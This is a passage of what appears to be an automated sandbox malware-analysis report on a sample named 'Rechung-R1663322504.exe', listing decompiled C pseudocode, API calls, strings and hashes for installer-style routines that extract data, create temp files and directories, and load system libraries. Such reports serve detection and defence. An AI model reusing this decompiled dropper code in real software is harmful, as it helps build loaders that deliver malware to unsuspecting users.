															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														}
														goto L34;
													} else {
														__ecx =  *(__ebp - 0xc);
														__edx =  *(__ebp - 8);
														 *(__ebp - 8) =  *(__ebp - 8) + 1;
														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														 *(__ebp - 0x30) = __eax;
														if(__ax == __bx) {
															goto L34;
														} else {
															goto L26;
														}
													}
												}
											}
										}
									}
								}
								goto L37;
								L26:
								__eax =  *(__ebp - 8);
							} while ( *(__ebp - 8) <  *(__ebp - 0x3c));
						}
						goto L34;
					}
				}
				L37:
				return 0;
			}

0x00402644
0x00402646
0x00402649
0x0040264b
0x0040264e
0x00402653
0x00402657
0x0040265a
0x0040265d
0x00402abf
0x00402ac2
0x00402663
0x00402663
0x0040266a
0x0040266c
0x0040266c
0x00402672
0x004027d6
0x004027d6
0x004027d9
0x004027de
0x004015b6
0x00402885
0x00402885
0x00000000
0x00402678
0x00402679
0x00402684
0x00402687
0x00402693
0x00402697
0x0040272f
0x00402747
0x00402757
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040269d
0x0040269d
0x004026a0
0x004026a1
0x004026a4
0x004026a9
0x004026b0
0x004026b8
0x00000000
0x004026be
0x004026be
0x004026c3
0x00000000
0x004026c9
0x004026c9
0x004026d1
0x004026d4
0x004026d7
0x00402792
0x00402799
0x004026dd
0x004026e3
0x004026ef
0x00402759
0x00402759
0x004026f1
0x004026f1
0x004026f4
0x004026f6
0x004026f6
0x004026f6
0x004026f9
0x004026fe
0x00402701
0x00000000
0x00000000
0x00402703
0x00402706
0x0040270e
0x0040271a
0x00402728
0x00000000
0x0040272a
0x00000000
0x0040272a
0x00000000
0x00402728
0x004026f6
0x0040275c
0x0040275f
0x00000000
0x00402761
0x00402766
0x004027a7
0x004027c9
0x004027d0
0x004027b5
0x004027b5
0x004027b8
0x004027bb
0x004027be
0x004027be
0x00000000
0x0040276f
0x0040276f
0x00402772
0x00402775
0x0040277b
0x0040277f
0x00402782
0x00000000
0x00000000
0x00000000
0x00000000
0x00402782
0x00402766
0x0040275f
0x004026d7
0x004026c3
0x004026b8
0x00000000
0x00402784
0x00402784
0x00402787
0x00402790
0x00000000
0x00402687
0x00402672
0x00402ac8
0x00402ace

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B0
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026EB
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 0040270E
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 00402724

Part of subcall function 00405E32: SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,00000000,?,?,00402629,00000000,00000000,?,00000000,00000011), ref: 00405E48

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D0

Strings

9, xrefs: 00402693

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: bbfadd1fb82cd2902055e903a3e488c979ded5586cb93e8eb0be3a96e306ad52
Instruction ID: 9be2b0b37b52d723af7ab0687330b4cdc43bee68c69c879290400e1721267ab5
Opcode Fuzzy Hash: bbfadd1fb82cd2902055e903a3e488c979ded5586cb93e8eb0be3a96e306ad52
Instruction Fuzzy Hash: BA51F675D00219AADF20DFA5DA88AAEB779FF04304F10443BE511F72D0DBB89982CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004052C3 Relevance: 10.6, APIs: 7, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004052C3(signed int _a4, WCHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				WCHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t27;
				signed int _t28;
				long _t29;
				signed int _t37;
				signed int _t38;

				_t27 =  *0x7a7a04; // 0x1042a
				_v8 = _t27;
				if(_t27 != 0) {
					_t37 =  *0x7a8af4;
					_v12 = _t37;
					_t38 = _t37 & 0x00000001;
					if(_t38 == 0) {
						E00406281(_t38, 0, 0x7a0f00, 0x7a0f00, _a4);
					}
					_t27 = lstrlenW(0x7a0f00);
					_a4 = _t27;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t27 = SetWindowTextW( *0x7a79e8, 0x7a0f00); // executed
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x7a0f00;
							_v52 = 1;
							_t29 = SendMessageW(_v8, 0x1004, 0, 0); // executed
							_v44 = 0;
							_v48 = _t29 - _t38;
							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52); // executed
							_t27 = SendMessageW(_v8, 0x1013, _v48, 0); // executed
						}
						if(_t38 != 0) {
							_t28 = _a4;
							0x7a0f00[_t28] = 0;
							return _t28;
						}
					} else {
						_t27 = lstrlenW(_a8) + _a4;
						if(_t27 < 0x1000) {
							_t27 = lstrcatW(0x7a0f00, _a8);
							goto L6;
						}
					}
				}
				return _t27;
			}

0x004052c9
0x004052d3
0x004052d8
0x004052de
0x004052e9
0x004052ec
0x004052ef
0x004052f5
0x004052f5
0x004052fb
0x00405303
0x00405306
0x00405323
0x00405327
0x00405330
0x00405330
0x0040533a
0x00405343
0x0040534f
0x00405356
0x0040535a
0x0040535d
0x00405370
0x0040537e
0x0040537e
0x00405382
0x00405384
0x00405387
0x00000000
0x00405387
0x00405308
0x00405310
0x00405318
0x0040531e
0x00000000
0x0040531e
0x00405318
0x00405306
0x00405393

APIs

lstrlenW.KERNEL32(007A0F00,00000000,007924D8,764E23A0,?,?,?,?,?,?,?,?,?,0040323B,00000000,?), ref: 004052FB
lstrlenW.KERNEL32(0040323B,007A0F00,00000000,007924D8,764E23A0,?,?,?,?,?,?,?,?,?,0040323B,00000000), ref: 0040530B
lstrcatW.KERNEL32(007A0F00,0040323B), ref: 0040531E
SetWindowTextW.USER32(007A0F00,007A0F00), ref: 00405330
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405356
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405370
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040537E

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: e3da8a659d26e469f7364c86854a8c7d89336f5590f3b6c2a9e79e9323d9dea2
Instruction ID: 54fc0906511a0d38b77c2dbc449d7618901aa97d03555d0a48212fe36839b6ac
Opcode Fuzzy Hash: e3da8a659d26e469f7364c86854a8c7d89336f5590f3b6c2a9e79e9323d9dea2
Instruction Fuzzy Hash: A9218C71900618BACF11AFA6DD84EDFBF74EF85350F10807AF905B22A0C7794A40CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004065C9 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004065C9(intOrPtr _a4) {
				short _v576;
				signed int _t13;
				struct HINSTANCE__* _t17;
				signed int _t19;
				void* _t24;

				_t13 = GetSystemDirectoryW( &_v576, 0x104);
				if(_t13 > 0x104) {
					_t13 = 0;
				}
				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
					_t19 = 1;
				} else {
					_t19 = 0;
				}
				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
				return _t17;
			}

0x004065e0
0x004065e9
0x004065eb
0x004065eb
0x004065ef
0x00406602
0x004065fc
0x004065fc
0x004065fc
0x0040661b
0x0040662f
0x00406636

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004065E0
wsprintfW.USER32 ref: 0040661B
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 0040662F

Strings

UXTHEME, xrefs: 004065D2
\, xrefs: 004065F1
%s%S.dll, xrefs: 00406615

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction ID: 20a568d0c0fc1602bd6380e0cb5a56c4d8b7367864d21650c92abf75bc562668
Opcode Fuzzy Hash: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction Fuzzy Hash: E5F0F670500219AADB14AB64ED0DF9B366CAB00304F10447AA646F11D1EBB8DA24CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004030FA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E004030FA(int _a4, intOrPtr _a8, intOrPtr _a12, int _a16, signed char _a19) {
				signed int _v8;
				int _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				short _v152;
				void* _t65;
				void* _t69;
				long _t70;
				intOrPtr _t74;
				long _t75;
				intOrPtr _t76;
				void* _t77;
				int _t87;
				intOrPtr _t91;
				intOrPtr _t94;
				long _t95;
				signed int _t96;
				int _t97;
				int _t98;
				intOrPtr _t99;
				void* _t100;
				void* _t101;

				_t96 = _a16;
				_t91 = _a12;
				_v12 = _t96;
				if(_t91 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_v16 = _t91;
				if(_t91 == 0) {
					_v16 = 0x78f6d8;
				}
				_t62 = _a4;
				if(_a4 >= 0) {
					E00403308( *0x7a8a98 + _t62);
				}
				if(E004032F2( &_a16, 4) == 0) {
					L41:
					_push(0xfffffffd);
					goto L42;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t91 != 0) {
							if(_a16 < _t96) {
								_t96 = _a16;
							}
							if(E004032F2(_t91, _t96) != 0) {
								_v8 = _t96;
								L44:
								return _v8;
							} else {
								goto L41;
							}
						}
						if(_a16 <= _t91) {
							goto L44;
						}
						_t87 = _v12;
						while(1) {
							_t97 = _a16;
							if(_a16 >= _t87) {
								_t97 = _t87;
							}
							if(E004032F2(0x78b6d8, _t97) == 0) {
								goto L41;
							}
							_t69 = E00405E03(_a8, 0x78b6d8, _t97); // executed
							if(_t69 == 0) {
								L28:
								_push(0xfffffffe);
								L42:
								_pop(_t65);
								return _t65;
							}
							_v8 = _v8 + _t97;
							_a16 = _a16 - _t97;
							if(_a16 > 0) {
								continue;
							}
							goto L44;
						}
						goto L41;
					}
					_t70 = GetTickCount();
					 *0x40ce38 =  *0x40ce38 & 0x00000000;
					_t14 =  &_a16;
					 *_t14 = _a16 & 0x7fffffff;
					_v20 = _t70;
					 *0x40ce20 = 0xb;
					_a4 = _a16;
					if( *_t14 <= 0) {
						goto L44;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t98 = 0x4000;
						if(_a16 < 0x4000) {
							_t98 = _a16;
						}
						if(E004032F2(0x78b6d8, _t98) == 0) {
							goto L41;
						}
						_a16 = _a16 - _t98;
						 *0x40ce10 = 0x78b6d8;
						 *0x40ce14 = _t98;
						while(1) {
							_t94 = _v16;
							 *0x40ce18 = _t94;
							 *0x40ce1c = _v12;
							_t74 = E0040679A(0x40ce10);
							_v24 = _t74;
							if(_t74 < 0) {
								break;
							}
							_t99 =  *0x40ce18; // 0x7924d8
							_t100 = _t99 - _t94;
							_t75 = GetTickCount();
							_t95 = _t75;
							if(( *0x7a8af4 & 0x00000001) != 0 && (_t75 - _v20 > 0xc8 || _a16 == 0)) {
								wsprintfW( &_v152, L"... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t101 = _t101 + 0xc;
								E004052C3(0,  &_v152); // executed
								_v20 = _t95;
							}
							if(_t100 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L44;
							} else {
								if(_a12 != 0) {
									_t76 =  *0x40ce18; // 0x7924d8
									_v8 = _v8 + _t100;
									_v12 = _v12 - _t100;
									_v16 = _t76;
									L23:
									if(_v24 != 4) {
										continue;
									}
									goto L44;
								}
								_t77 = E00405E03(_a8, _v16, _t100); // executed
								if(_t77 == 0) {
									goto L28;
								}
								_v8 = _v8 + _t100;
								goto L23;
							}
						}
						_push(0xfffffffc);
						goto L42;
					}
					goto L41;
				}
			}

0x00403105
0x00403109
0x0040310c
0x00403111
0x00403113
0x00403113
0x0040311a
0x0040311e
0x00403123
0x00403125
0x00403125
0x0040312c
0x00403131
0x0040313c
0x0040313c
0x0040314e
0x004032e0
0x004032e0
0x00000000
0x00403154
0x00403158
0x0040328d
0x004032d0
0x004032d2
0x004032d2
0x004032de
0x004032e5
0x004032e8
0x00000000
0x00000000
0x00000000
0x00000000
0x004032de
0x00403292
0x00000000
0x00000000
0x00403294
0x00403297
0x0040329a
0x0040329d
0x0040329f
0x0040329f
0x004032af
0x00000000
0x00000000
0x004032b6
0x004032bd
0x00403287
0x00403287
0x004032e2
0x004032e2
0x00000000
0x004032e2
0x004032bf
0x004032c2
0x004032c9
0x00000000
0x00000000
0x00000000
0x004032cb
0x00000000
0x00403297
0x00403164
0x00403166
0x0040316d
0x0040316d
0x00403174
0x0040317a
0x00403181
0x00403184
0x00000000
0x00000000
0x00000000
0x00000000
0x0040318a
0x0040318a
0x0040318a
0x00403192
0x00403194
0x00403194
0x004031a5
0x00000000
0x00000000
0x004031ab
0x004031ae
0x004031b4
0x004031ba
0x004031ba
0x004031c5
0x004031cb
0x004031d0
0x004031d7
0x004031da
0x00000000
0x00000000
0x004031e0
0x004031e6
0x004031e8
0x004031f1
0x004031f3
0x00403224
0x0040322a
0x00403236
0x0040323b
0x0040323b
0x00403240
0x0040327b
0x00000000
0x00000000
0x00000000
0x00403242
0x00403246
0x0040325d
0x00403262
0x00403265
0x00403268
0x0040326b
0x0040326f
0x00000000
0x00000000
0x00000000
0x00403275
0x0040324f
0x00403256
0x00000000
0x00000000
0x00403258
0x00000000
0x00403258
0x00403240
0x00403283
0x00000000
0x00403283
0x00000000
0x0040318a

APIs

GetTickCount.KERNEL32 ref: 00403164
GetTickCount.KERNEL32 ref: 004031E8
MulDiv.KERNEL32(7FFFFFFF,00000064,00000000), ref: 00403211
wsprintfW.USER32 ref: 00403224

Strings

... %d%%, xrefs: 0040321E

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: 5d95faed883021d29135786fab1021639b0595a9b4acb09984627cea9783b19b
Instruction ID: 4304c27296c3acdf0d2a87061290089073c1970791b1d07264e817265a7bbb17
Opcode Fuzzy Hash: 5d95faed883021d29135786fab1021639b0595a9b4acb09984627cea9783b19b
Instruction Fuzzy Hash: 3C516C31801219EBCB10DF65DA45A9F7BA8AF45766F1442BFE810B72C0C7788F51CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405792 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405792(WCHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x4083f0;
				_v36.Group = 0x4083f0;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x4083e0;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x0040579d
0x004057a1
0x004057a4
0x004057aa
0x004057ae
0x004057b2
0x004057ba
0x004057c1
0x004057c7
0x004057ce
0x004057d5
0x004057dd
0x004057df
0x00000000
0x004057df
0x004057e9
0x004057f0
0x00405806
0x00000000
0x00000000
0x00000000
0x00405808
0x0040580c

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 004057D5
GetLastError.KERNEL32 ref: 004057E9
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004057FE
GetLastError.KERNEL32 ref: 00405808

Strings

C:\Users\user\Desktop, xrefs: 00405792

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop
API String ID: 3449924974-3370423016
Opcode ID: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction ID: 488e367ac99084f0472557c0a26963b348c4b9c4a011ef6404f7c6369f031e52
Opcode Fuzzy Hash: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction Fuzzy Hash: 03011A71C00619DADF009FA1C9447EFBBB4EF14354F00803AD945B6281D7789618CFE9

Uniqueness

Uniqueness Score: -1.00%

Function 00405D80 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405D80(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				intOrPtr _v8;
				short _v12;
				short _t12;
				intOrPtr _t13;
				signed int _t14;
				WCHAR* _t17;
				signed int _t19;
				signed short _t23;
				WCHAR* _t26;

				_t26 = _a4;
				_t23 = 0x64;
				while(1) {
					_t12 =  *L"nsa"; // 0x73006e
					_t23 = _t23 - 1;
					_v12 = _t12;
					_t13 =  *0x40a55c; // 0x61
					_v8 = _t13;
					_t14 = GetTickCount();
					_t19 = 0x1a;
					_v8 = _v8 + _t14 % _t19;
					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
					if(_t17 != 0) {
						break;
					}
					if(_t23 != 0) {
						continue;
					} else {
						 *_t26 =  *_t26 & _t23;
					}
					L4:
					return _t17;
				}
				_t17 = _t26;
				goto L4;
			}

0x00405d86
0x00405d8c
0x00405d8d
0x00405d8d
0x00405d92
0x00405d93
0x00405d96
0x00405d9b
0x00405d9e
0x00405da8
0x00405db5
0x00405db9
0x00405dc1
0x00000000
0x00000000
0x00405dc5
0x00000000
0x00405dc7
0x00405dc7
0x00405dc7
0x00405dca
0x00405dcd
0x00405dcd
0x00405dd0
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00405D9E
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\Rechung-R1663322504.exe",0040334E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,764E3420,0040359C), ref: 00405DB9

Strings

"C:\Users\user\Desktop\Rechung-R1663322504.exe", xrefs: 00405D80
C:\Users\user\AppData\Local\Temp\, xrefs: 00405D85, 00405D89
nsa, xrefs: 00405D8D

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\Rechung-R1663322504.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-982369049
Opcode ID: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction ID: 49388a817ab8929663d32c184486222aab3b5007cea287540e7d96a1fedb5290
Opcode Fuzzy Hash: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction Fuzzy Hash: 56F01D76600304FBEB009F69DD09E9BBBA9EF95750F11807BE900A6290E6B099548B64

Uniqueness

Uniqueness Score: -1.00%

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E10001759(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void _v36;
				struct HINSTANCE__* _t34;
				intOrPtr _t38;
				void* _t44;
				void* _t45;
				void* _t46;
				void* _t50;
				intOrPtr _t53;
				signed int _t57;
				signed int _t61;
				void* _t65;
				void* _t66;
				void* _t70;
				void* _t74;

				_t74 = __esi;
				_t66 = __edi;
				_t65 = __edx;
				 *0x1000406c = _a8;
				 *0x10004070 = _a16;
				 *0x10004074 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x10004048, E100015B1);
				_push(1); // executed
				_t34 = E10001B18(); // executed
				_t50 = _t34;
				if(_t50 == 0) {
					L28:
					return _t34;
				} else {
					if( *((intOrPtr*)(_t50 + 4)) != 1) {
						E10002286(_t50);
					}
					_push(_t50);
					E100022D0(_t65);
					_t53 =  *((intOrPtr*)(_t50 + 4));
					if(_t53 == 0xffffffff) {
						L14:
						if(( *(_t50 + 0x1010) & 0x00000004) == 0) {
